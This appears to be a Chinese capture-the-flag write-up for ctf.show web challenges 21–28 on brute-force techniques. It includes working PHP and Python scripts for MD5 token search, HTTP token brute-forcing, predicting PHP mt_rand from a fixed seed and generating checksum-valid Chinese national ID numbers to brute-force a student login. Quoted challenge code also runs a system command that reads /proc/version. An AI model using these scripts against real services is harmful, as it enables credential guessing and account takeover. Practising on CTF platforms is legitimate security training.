web21 bp爆破
bp抓包,设置爆破点,导入字典啥的设置好就开始爆破,字典很短很容易拿到flag
web22 子域名爆破
在线工具 https://phpinfo.me/domain
爆破一下ctf.show的子域名,可以看到有好几个子域名,挨个查看源码,在vip.ctf.show源码中找到flag
web23
法一
<?php
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
token被md5加密,第一个条件:它的第一位=第十四位=第十七位,第二个条件:(第一位+第十四位+第十七位)/第一位=第三十一位
编写php代码对token进行爆破
<?php
for($i=0;$i<10000;$i++)
{
$token=md5($i);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo 'token'.$i.'md5'.$token;
}
}
}
?>
phpstudy本地搭建环境访问php文件得到token值访问 ?token=xxx得到flag
python爆破
直接上python脚本
import requests
a = "3abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012456789"
for i in a:
for j in a:
url ="http://df340cc0-81f5-4547-b8b7-5fca3c34ee6e.challenge.ctf.show/?token="+str(i)+str(j)
req = requests.get(url=url).text
if "flag" in req:
print(req)
exit()
else:
print(url)
#3i
web24
<?
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?>
mt_srand() 函数播种 Mersenne Twister 随机数生成器。它会生成一个随机数,如何r的值和这个生成随机数的值相同,得到flag,上脚本
<?
mt_srand(372619038);
echo intval(mt_rand());
?>
第一次得到的随机数居然不行。。。。看到大师傅的视频才发现php版本太低,换到高版本得到新的随机数,拿到flag
web25
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
web26
原理和web21完全一样,bp抓包爆破密码,但是不知道为啥我go了一下返回包就有flag了
web27
很有趣的一道题目
进入环境之后是一个套着正方管理系统壳子的教务登录系统,百度了一下正方登录账号一般为学号,初始密码是身份证号码。然后在登录框下面发现一个录取名单。
还有一个学生信息查询的,可以通过学生姓名和身份证号查询学号,但是名单上的身份证号码中间8位是隐藏的,我们可以写一个脚本先跑出合理的身份证号码,然后进行爆破
脚本
<?php
$card=array();
for ($y=1990;$y<2000;$y++){
for($m=1;$m<13;$m++){
if($m<10){
$m='0'.$m;
}
for($d=1;$d<32;$d++){
if($d<10){
$d='0'.$d;
}
array_push($card,'621022'.$y.$m.$d.'5237');
}
}
}
function checkCard($c){
$list = [7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2];
$crc = [1,0,'x',9,8,7,6,5,4,3,2];
$ca = str_split($c);
$sum=0;
for ($i=0; $i<count($ca);$i++){
$sum+=$ca[$i]*$list[$i];
}
$crc_ = $sum%11;
if($ca[count($ca)-1]==$crc[$crc_]){
return true;
}else{
return false;
}
}
foreach ($card as $c ) {
if(checkCard($c)){
echo $c.'<br>';
}
}
?>
得到sfz号字典后,放到bp里面爆破一下拿到正确的sfz号,查学号登录拿flag
web28
它的路径是/0/1/2.txt,可以尝试爆破路径,去掉2.txt,生成1到100的字典分别爆破0,1得到flag